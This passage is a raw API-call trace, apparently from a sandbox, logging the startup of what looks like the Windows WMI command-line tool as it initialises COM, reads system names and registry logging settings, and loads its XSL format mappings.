00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xddc [0053.641] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff678cf0000 [0053.641] __set_app_type (_Type=0x1) [0053.641] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff678d2ec40) returned 0x0 [0053.641] __wgetmainargs (in: _Argc=0x7ff678d57258, _Argv=0x7ff678d57260, _Env=0x7ff678d57268, _DoWildCard=0, _StartInfo=0x7ff678d57274 | out: _Argc=0x7ff678d57258, _Argv=0x7ff678d57260, _Env=0x7ff678d57268) returned 0 [0053.644] ??0CHString@@QEAA@XZ () returned 0x7ff678d579b0 [0053.677] malloc (_Size=0x30) returned 0x16fbd1f6e10 [0053.678] malloc (_Size=0x70) returned 0x16fbd1f6e50 [0053.678] malloc (_Size=0x50) returned 0x16fbd1f6ed0 [0053.678] malloc (_Size=0x30) returned 0x16fbd1f6f30 [0053.678] malloc (_Size=0x48) returned 0x16fbd1f6f70 [0053.678] malloc (_Size=0x30) returned 0x16fbd1f15a0 [0053.678] malloc (_Size=0x30) returned 0x16fbd1f15e0 [0053.678] ??0CHString@@QEAA@XZ () returned 0x7ff678d57e60 [0053.678] malloc (_Size=0x30) returned 0x16fbd1f1620 [0053.729] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0053.729] SetConsoleCtrlHandler (HandlerRoutine=0x7ff678d27ca0, Add=1) returned 1 [0053.729] _onexit (_Func=0x7ff678d391c0) returned 0x7ff678d391c0 [0053.729] _onexit (_Func=0x7ff678d392a0) returned 0x7ff678d392a0 [0053.729] _onexit (_Func=0x7ff678d392e0) returned 0x7ff678d392e0 [0053.730] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0053.730] ResolveDelayLoadedAPI () returned 0x7ff92fa5efc0 [0053.730] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0054.211] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0057.078] CoCreateInstance (in: rclsid=0x7ff678d40608*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff678d40618*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x7ff678d57840 | out: ppv=0x7ff678d57840*=0x16fbcf3c2b0) returned 0x0 [0058.010] GetCurrentProcess () returned 0xffffffffffffffff [0058.010] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x1f1a0efaf0 | out: TokenHandle=0x1f1a0efaf0*=0x160) returned 1 [0058.010] GetTokenInformation (in: TokenHandle=0x160, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1f1a0efae8 | out: TokenInformation=0x0, ReturnLength=0x1f1a0efae8) returned 0 [0058.010] malloc (_Size=0x118) returned 0x16fbd1f5bb0 [0058.010] GetTokenInformation (in: TokenHandle=0x160, TokenInformationClass=0x3, TokenInformation=0x16fbd1f5bb0, TokenInformationLength=0x118, ReturnLength=0x1f1a0efae8 | out: TokenInformation=0x16fbd1f5bb0, ReturnLength=0x1f1a0efae8) returned 1 [0058.011] AdjustTokenPrivileges (in: TokenHandle=0x160, DisableAllPrivileges=0, NewState=0x16fbd1f5bb0*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-1560528172, Attributes=0x89a8), (Luid.LowPart=0x16f, Luid.HighPart=-1122041520, Attributes=0x16f), (Luid.LowPart=0x79006c, Luid.HighPart=3538976, Attributes=0x4d0020), (Luid.LowPart=0x6c0065, Luid.HighPart=3735584, Attributes=0x200034), (Luid.LowPart=0x700065, Luid.HighPart=6881392, Attributes=0x67006e), (Luid.LowPart=0x20002c, Luid.HighPart=6619207, Attributes=0x75006e))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0058.011] free (_Block=0x16fbd1f5bb0) [0058.011] CloseHandle (hObject=0x160) returned 1 [0058.020] malloc (_Size=0x40) returned 0x16fbd1f5bb0 [0058.026] malloc (_Size=0x40) returned 0x16fbd1f5c00 [0058.026] malloc (_Size=0x40) returned 0x16fbd1f5c50 [0058.026] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.047] _vsnwprintf (in: _Buffer=0x16fbd1f5c50, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x1f1a0ef7f8 | out: _Buffer="ms_409") returned 6 [0058.047] malloc (_Size=0x20) returned 0x16fbd1f5ca0 [0058.047] GetComputerNameW (in: lpBuffer=0x16fbd1f5ca0, nSize=0x1f1a0efaf8 | out: lpBuffer="NQDPDE", nSize=0x1f1a0efaf8) returned 1 [0058.047] lstrlenW (lpString="NQDPDE") returned 6 [0058.047] malloc (_Size=0xe) returned 0x16fbd1f5cd0 [0058.047] lstrlenW (lpString="NQDPDE") returned 6 [0058.047] ResolveDelayLoadedAPI () returned 0x7ff92e2e6960 [0058.047] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x1f1a0efaf0 | out: lpNameBuffer=0x0, nSize=0x1f1a0efaf0) returned 0x0 [0058.049] GetLastError () returned 0xea [0058.049] malloc (_Size=0x1e) returned 0x16fbd1f5cf0 [0058.049] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x16fbd1f5cf0, nSize=0x1f1a0efaf0 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0x1f1a0efaf0) returned 0x1 [0058.050] lstrlenW (lpString="") returned 0 [0058.050] lstrlenW (lpString="NQDPDE") returned 6 [0058.050] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0058.052] lstrlenW (lpString=".") returned 1 [0058.052] lstrlenW (lpString="NQDPDE") returned 6 [0058.052] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2=".", cchCount2=1) returned 3 [0058.052] lstrlenW (lpString="LOCALHOST") returned 9 [0058.052] lstrlenW (lpString="NQDPDE") returned 6 [0058.052] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="LOCALHOST", cchCount2=9) returned 3 [0058.052] lstrlenW (lpString="NQDPDE") returned 6 [0058.052] lstrlenW (lpString="NQDPDE") returned 6 [0058.052] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="NQDPDE", cchCount2=6) returned 2 [0058.052] free (_Block=0x16fbd1f5cd0) [0058.052] lstrlenW (lpString="NQDPDE") returned 6 [0058.052] malloc (_Size=0xe) returned 0x16fbd1f5cd0 [0058.052] lstrlenW (lpString="NQDPDE") returned 6 [0058.052] lstrlenW (lpString="NQDPDE") returned 6 [0058.052] malloc (_Size=0xe) returned 0x16fbd1f5d20 [0058.052] lstrlenW (lpString="NQDPDE") returned 6 [0058.052] malloc (_Size=0x8) returned 0x16fbd1f5d40 [0058.053] malloc (_Size=0x18) returned 0x16fbd1f5d60 [0058.053] ResolveDelayLoadedAPI () returned 0x7ff931c1cdb0 [0058.082] malloc (_Size=0x30) returned 0x16fbd1f5d80 [0058.082] malloc (_Size=0x18) returned 0x16fbd1f5dc0 [0058.082] SysStringLen (param_1="IDENTIFY") returned 0x8 [0058.082] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0058.082] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0058.082] SysStringLen (param_1="IDENTIFY") returned 0x8 [0058.082] malloc (_Size=0x30) returned 0x16fbd1f5de0 [0058.082] malloc (_Size=0x18) returned 0x16fbd1f5e20 [0058.082] SysStringLen (param_1="IMPERSONATE") returned 0xb [0058.082] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0058.082] SysStringLen (param_1="IMPERSONATE") returned 0xb [0058.083] SysStringLen (param_1="IDENTIFY") returned 0x8 [0058.083] SysStringLen (param_1="IDENTIFY") returned 0x8 [0058.083] SysStringLen (param_1="IMPERSONATE") returned 0xb [0058.083] malloc (_Size=0x30) returned 0x16fbd1f5e40 [0058.083] malloc (_Size=0x18) returned 0x16fbd1f5e80 [0058.083] SysStringLen (param_1="DELEGATE") returned 0x8 [0058.083] SysStringLen (param_1="IDENTIFY") returned 0x8 [0058.083] SysStringLen (param_1="DELEGATE") returned 0x8 [0058.083] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0058.083] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0058.083] SysStringLen (param_1="DELEGATE") returned 0x8 [0058.083] malloc (_Size=0x30) returned 0x16fbd1f5ea0 [0058.083] malloc (_Size=0x18) returned 0x16fbd1f5ee0 [0058.083] malloc (_Size=0x30) returned 0x16fbd1f5f00 [0058.083] malloc (_Size=0x18) returned 0x16fbd1f5f40 [0058.083] SysStringLen (param_1="NONE") returned 0x4 [0058.083] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.083] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.083] SysStringLen (param_1="NONE") returned 0x4 [0058.083] malloc (_Size=0x30) returned 0x16fbd1f5f60 [0058.084] malloc (_Size=0x18) returned 0x16fbd1f5fa0 [0058.084] SysStringLen (param_1="CONNECT") returned 0x7 [0058.084] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.084] malloc (_Size=0x30) returned 0x16fbd1f5fc0 [0058.084] malloc (_Size=0x18) returned 0x16fbd1f6000 [0058.084] SysStringLen (param_1="CALL") returned 0x4 [0058.084] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.084] SysStringLen (param_1="CALL") returned 0x4 [0058.084] SysStringLen (param_1="CONNECT") returned 0x7 [0058.084] malloc (_Size=0x30) returned 0x16fbd1f6020 [0058.084] malloc (_Size=0x18) returned 0x16fbd1f6060 [0058.084] SysStringLen (param_1="PKT") returned 0x3 [0058.084] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.084] SysStringLen (param_1="PKT") returned 0x3 [0058.084] SysStringLen (param_1="NONE") returned 0x4 [0058.084] SysStringLen (param_1="NONE") returned 0x4 [0058.084] SysStringLen (param_1="PKT") returned 0x3 [0058.084] malloc (_Size=0x30) returned 0x16fbd1f6080 [0058.084] malloc (_Size=0x18) returned 0x16fbd1f60c0 [0058.085] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.085] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.085] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.085] SysStringLen (param_1="NONE") returned 0x4 [0058.085] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.085] SysStringLen (param_1="PKT") returned 0x3 [0058.085] SysStringLen (param_1="PKT") returned 0x3 [0058.085] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.085] malloc (_Size=0x30) returned 0x16fbd1fabd0 [0058.085] malloc (_Size=0x18) returned 0x16fbd1f60e0 [0058.085] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0058.085] SysStringLen (param_1="DEFAULT") returned 0x7 [0058.085] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0058.085] SysStringLen (param_1="PKT") returned 0x3 [0058.085] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0058.085] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.085] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0058.085] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0058.085] malloc (_Size=0x30) returned 0x16fbd1fa690 [0058.086] malloc (_Size=0x40) returned 0x16fbd1f6100 [0058.086] malloc (_Size=0x20a) returned 0x16fbd1fb150 [0058.086] GetSystemDirectoryW (in: lpBuffer=0x16fbd1fb150, uSize=0x105 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0058.086] free (_Block=0x16fbd1fb150) [0058.086] malloc (_Size=0x18) returned 0x16fbd1f6150 [0058.086] malloc (_Size=0x18) returned 0x16fbd1fb150 [0058.086] malloc (_Size=0x18) returned 0x16fbd1fb170 [0058.086] SysStringLen (param_1="C:\\WINDOWS\\system32") returned 0x13 [0058.086] SysStringLen (param_1="\\wbem\\") returned 0x6 [0058.086] free (_Block=0x16fbd1f6150) [0058.086] free (_Block=0x16fbd1fb150) [0058.086] SysStringByteLen (bstr="C:\\WINDOWS\\system32\\wbem\\") returned 0x32 [0058.087] free (_Block=0x16fbd1fb170) [0058.087] malloc (_Size=0x18) returned 0x16fbd1fb400 [0058.087] malloc (_Size=0x18) returned 0x16fbd1fb260 [0058.087] malloc (_Size=0x18) returned 0x16fbd1fb380 [0058.087] SysStringLen (param_1="C:\\WINDOWS\\system32\\wbem\\") returned 0x19 [0058.087] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0058.087] free (_Block=0x16fbd1fb400) [0058.087] free (_Block=0x16fbd1fb260) [0058.087] GetCurrentThreadId () returned 0xddc [0058.087] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x1f1a0ef400 | out: phkResult=0x1f1a0ef400*=0x168) returned 0x0 [0058.087] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x1f1a0ef450, lpcbData=0x1f1a0ef3f0*=0x400 | out: lpType=0x0, lpData=0x1f1a0ef450*=0x30, lpcbData=0x1f1a0ef3f0*=0x4) returned 0x0 [0058.087] _wcsicmp (_String1="0", _String2="1") returned -1 [0058.088] _wcsicmp (_String1="0", _String2="2") returned -2 [0058.088] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x1f1a0ef3f0*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x1f1a0ef3f0*=0x42) returned 0x0 [0058.088] malloc (_Size=0x86) returned 0x16fbd1fb560 [0058.088] RegQueryValueExW (in: hKey=0x168, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x16fbd1fb560, lpcbData=0x1f1a0ef3f0*=0x42 | out: lpType=0x0, lpData=0x16fbd1fb560*=0x25, lpcbData=0x1f1a0ef3f0*=0x42) returned 0x0 [0058.088] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0058.088] malloc (_Size=0x42) returned 0x16fbd1fb5f0 [0058.088] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0058.088] RegQueryValueExW (in: hKey=0x168, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x1f1a0ef450, lpcbData=0x1f1a0ef3f0*=0x400 | out: lpType=0x0, lpData=0x1f1a0ef450*=0x36, lpcbData=0x1f1a0ef3f0*=0xc) returned 0x0 [0058.088] _wtol (_String="65536") returned 65536 [0058.088] free (_Block=0x16fbd1fb560) [0058.088] RegCloseKey (hKey=0x0) returned 0x6 [0058.088] CoCreateInstance (in: rclsid=0x7ff678d40668*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff678d40678*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x1f1a0ef8f0 | out: ppv=0x1f1a0ef8f0*=0x16fbd136f20) returned 0x0 [0058.490] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x16fbd136f20, xmlSource=0x1f1a0efa30*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\WINDOWS\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x1f1a0efaa0 | out: isSuccessful=0x1f1a0efaa0*=0xffff) returned 0x0 [0060.904] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x16fbd136f20, DOMElement=0x1f1a0ef8f8 | out: DOMElement=0x1f1a0ef8f8*=0x16fbd1394b0) returned 0x0 [0060.910] malloc (_Size=0x18) returned 0x16fbd1fb480 [0060.913] free (_Block=0x16fbd1fb480) [0060.914] malloc (_Size=0x18) returned 0x16fbd1fb3c0 [0060.915] free (_Block=0x16fbd1fb3c0) [0060.915] malloc (_Size=0x18) returned 0x16fbd1fb2a0 [0060.915] malloc (_Size=0x18) returned 0x16fbd1fb500 [0060.915] malloc (_Size=0x30) returned 0x16fbd1fa6d0 [0060.916] malloc (_Size=0x18) returned 0x16fbd1fb400 [0060.916] free (_Block=0x16fbd1fb400) [0060.917] malloc (_Size=0x18) returned 0x16fbd1fb520 [0060.917] malloc (_Size=0x18) returned 0x16fbd1fb1a0 [0060.917] SysStringLen (param_1="VALUE") returned 0x5 [0060.917] SysStringLen (param_1="TABLE") returned 0x5 [0060.917] SysStringLen (param_1="TABLE") returned 0x5 [0060.917] SysStringLen (param_1="VALUE") returned 0x5 [0060.917] malloc (_Size=0x30) returned 0x16fbd1fa890 [0060.917] malloc (_Size=0x18) returned 0x16fbd1fb480 [0060.917] free (_Block=0x16fbd1fb480) [0060.917] malloc (_Size=0x18) returned 0x16fbd1fb4e0 [0060.918] malloc (_Size=0x18) returned 0x16fbd1fb320 [0060.918] SysStringLen (param_1="LIST") returned 0x4 [0060.918] SysStringLen (param_1="TABLE") returned 0x5 [0060.918] malloc (_Size=0x30) returned 0x16fbd1fa790 [0060.918] malloc (_Size=0x18) returned 0x16fbd1fb280 [0060.918] free (_Block=0x16fbd1fb280) [0060.918] malloc (_Size=0x18) returned 0x16fbd1fb1c0 [0060.918] malloc (_Size=0x18) returned 0x16fbd1fb240 [0060.918] SysStringLen (param_1="RAWXML") returned 0x6 [0060.918] SysStringLen (param_1="TABLE") returned 0x5 [0060.918] SysStringLen (param_1="RAWXML") returned 0x6 [0060.918] SysStringLen (param_1="LIST") returned 0x4 [0060.919] SysStringLen (param_1="LIST") returned 0x4 [0060.919] SysStringLen (param_1="RAWXML") returned 0x6 [0060.919] malloc (_Size=0x30) returned 0x16fbd1fa590 [0060.919] malloc (_Size=0x18) returned 0x16fbd1fb3a0 [0060.919] free (_Block=0x16fbd1fb3a0) [0060.919] malloc (_Size=0x18) returned 0x16fbd1fb3c0 [0060.919] malloc (_Size=0x18) returned 0x16fbd1fb200 [0060.919] SysStringLen (param_1="HTABLE") returned 0x6 [0060.919] SysStringLen (param_1="TABLE") returned 0x5 [0060.919] SysStringLen (param_1="HTABLE") returned 0x6 [0060.919] SysStringLen (param_1="LIST") returned 0x4 [0060.919] malloc (_Size=0x30) returned 0x16fbd1fa810 [0060.920] malloc (_Size=0x18) returned 0x16fbd1fb480 [0060.920] free (_Block=0x16fbd1fb480) [0060.920] malloc (_Size=0x18) returned 0x16fbd1fb440 [0060.920] malloc (_Size=0x18) returned 0x16fbd1fb1e0 [0060.920] SysStringLen (param_1="HFORM") returned 0x5 [0060.920] SysStringLen (param_1="TABLE") returned 0x5 [0060.920] SysStringLen (param_1="HFORM") returned 0x5 [0060.920] SysStringLen (param_1="LIST") returned 0x4 [0060.920] SysStringLen (param_1="HFORM") returned 0x5 [0060.920] SysStringLen (param_1="HTABLE") returned 0x6 [0060.921] malloc (_Size=0x30) returned 0x16fbd1fab90 [0060.921] malloc (_Size=0x18) returned 0x16fbd1fb220 [0060.921] free (_Block=0x16fbd1fb220) [0060.921] malloc (_Size=0x18) returned 0x16fbd1fb420 [0060.921] malloc (_Size=0x18) returned 0x16fbd1fb3e0 [0060.921] SysStringLen (param_1="XML") returned 0x3 [0060.921] SysStringLen (param_1="TABLE") returned 0x5 [0060.921] SysStringLen (param_1="XML") returned 0x3 [0060.921] SysStringLen (param_1="VALUE") returned 0x5 [0060.921] SysStringLen (param_1="VALUE") returned 0x5 [0060.921] SysStringLen (param_1="XML") returned 0x3 [0060.921] malloc (_Size=0x30) returned 0x16fbd1fac90 [0060.922] malloc (_Size=0x18) returned 0x16fbd1fb400 [0060.922] free (_Block=0x16fbd1fb400) [0060.922] malloc (_Size=0x18) returned 0x16fbd1fb460 [0060.922] malloc (_Size=0x18) returned 0x16fbd1fb220 [0060.922] SysStringLen (param_1="MOF") returned 0x3 [0060.922] SysStringLen (param_1="TABLE") returned 0x5 [0060.922] SysStringLen (param_1="MOF") returned 0x3 [0060.922] SysStringLen (param_1="LIST") returned 0x4 [0060.922] SysStringLen (param_1="MOF") returned 0x3 [0060.922] SysStringLen (param_1="RAWXML") returned 0x6 [0060.922] SysStringLen (param_1="LIST") returned 0x4 [0060.922] SysStringLen (param_1="MOF") returned 0x3 [0060.923] malloc (_Size=0x30) returned 0x16fbd1fa750 [0060.923] malloc (_Size=0x18) returned 0x16fbd1fb260 [0060.923] free (_Block=0x16fbd1fb260) [0060.923] malloc (_Size=0x18) returned 0x16fbd1fb480 [0060.923] malloc (_Size=0x18) returned 0x16fbd1fb2e0 [0060.923] SysStringLen (param_1="CSV") returned 0x3 [0060.923] SysStringLen (param_1="TABLE") returned 0x5 [0060.923] SysStringLen (param_1="CSV") returned 0x3 [0060.923] SysStringLen (param_1="LIST") returned 0x4 [0060.923] SysStringLen (param_1="CSV") returned 0x3 [0060.923] SysStringLen (param_1="HTABLE") returned 0x6 [0060.924] SysStringLen (param_1="CSV") returned 0x3 [0060.924] SysStringLen (param_1="HFORM") returned 0x5 [0060.924] malloc (_Size=0x30) returned 0x16fbd1fa8d0 [0060.924] malloc (_Size=0x18) returned 0x16fbd1fb260 [0060.924] free (_Block=0x16fbd1fb260) [0060.924] malloc (_Size=0x18) returned 0x16fbd1fb260 [0060.924] malloc (_Size=0x18) returned 0x16fbd1fb280 [0060.924] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.924] SysStringLen (param_1="TABLE") returned 0x5 [0060.924] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.924] SysStringLen (param_1="VALUE") returned 0x5 [0060.924] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.925] SysStringLen (param_1="XML") returned 0x3 [0060.925] SysStringLen (param_1="XML") returned 0x3 [0060.925] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.925] malloc (_Size=0x30) returned 0x16fbd1fa850 [0060.925] malloc (_Size=0x18) returned 0x16fbd1fb2c0 [0060.925] free (_Block=0x16fbd1fb2c0) [0060.925] malloc (_Size=0x18) returned 0x16fbd1fb4a0 [0060.925] malloc (_Size=0x18) returned 0x16fbd1fb2c0 [0060.925] SysStringLen (param_1="texttablewsys") returned 0xd [0060.925] SysStringLen (param_1="TABLE") returned 0x5 [0060.925] SysStringLen (param_1="texttablewsys") returned 0xd [0060.925] SysStringLen (param_1="XML") returned 0x3 [0060.926] SysStringLen (param_1="texttablewsys") returned 0xd [0060.926] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.926] SysStringLen (param_1="XML") returned 0x3 [0060.926] SysStringLen (param_1="texttablewsys") returned 0xd [0060.926] malloc (_Size=0x30) returned 0x16fbd1faa10 [0060.926] malloc (_Size=0x18) returned 0x16fbd1fb4c0 [0060.926] free (_Block=0x16fbd1fb4c0) [0060.926] malloc (_Size=0x18) returned 0x16fbd1fb3a0 [0060.926] malloc (_Size=0x18) returned 0x16fbd1fb300 [0060.926] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.926] SysStringLen (param_1="TABLE") returned 0x5 [0060.926] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.927] SysStringLen (param_1="XML") returned 0x3 [0060.927] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.927] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.927] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.927] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.927] malloc (_Size=0x30) returned 0x16fbd1faa50 [0060.927] malloc (_Size=0x18) returned 0x16fbd1fb340 [0060.927] free (_Block=0x16fbd1fb340) [0060.927] malloc (_Size=0x18) returned 0x16fbd1fb340 [0060.927] malloc (_Size=0x18) returned 0x16fbd1fb360 [0060.927] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0060.927] SysStringLen (param_1="TABLE") returned 0x5 [0060.928] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0060.928] SysStringLen (param_1="XML") returned 0x3 [0060.928] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0060.928] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.928] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0060.928] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.928] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.928] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0060.928] malloc (_Size=0x30) returned 0x16fbd1fac50 [0060.928] malloc (_Size=0x18) returned 0x16fbd1fb400 [0060.928] free (_Block=0x16fbd1fb400) [0060.928] malloc (_Size=0x18) returned 0x16fbd1fb4c0 [0060.929] malloc (_Size=0x18) returned 0x16fbd1fb400 [0060.929] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0060.929] SysStringLen (param_1="TABLE") returned 0x5 [0060.929] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0060.929] SysStringLen (param_1="XML") returned 0x3 [0060.929] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0060.929] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.929] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0060.929] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.929] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.929] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0060.929] malloc (_Size=0x30) returned 0x16fbd1fa950 [0060.929] malloc (_Size=0x18) returned 0x16fbd1fdef0 [0060.929] free (_Block=0x16fbd1fdef0) [0060.930] malloc (_Size=0x18) returned 0x16fbd1fdd30 [0060.930] malloc (_Size=0x18) returned 0x16fbd1fdfb0 [0060.930] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0060.930] SysStringLen (param_1="TABLE") returned 0x5 [0060.930] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0060.930] SysStringLen (param_1="XML") returned 0x3 [0060.930] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0060.930] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.930] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0060.930] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.930] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0060.930] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0060.930] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0060.930] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0060.930] malloc (_Size=0x30) returned 0x16fbd1fa910 [0060.931] malloc (_Size=0x18) returned 0x16fbd1fdd90 [0060.931] free (_Block=0x16fbd1fdd90) [0060.931] malloc (_Size=0x18) returned 0x16fbd1fdeb0 [0060.931] malloc (_Size=0x18) returned 0x16fbd1fdd50 [0060.931] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0060.931] SysStringLen (param_1="TABLE") returned 0x5 [0060.931] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0060.931] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0060.931] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0060.931] SysStringLen (param_1="XML") returned 0x3 [0060.931] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0060.931] SysStringLen (param_1="texttablewsys") returned 0xd [0060.931] SysStringLen (param_1="XML") returned 0x3 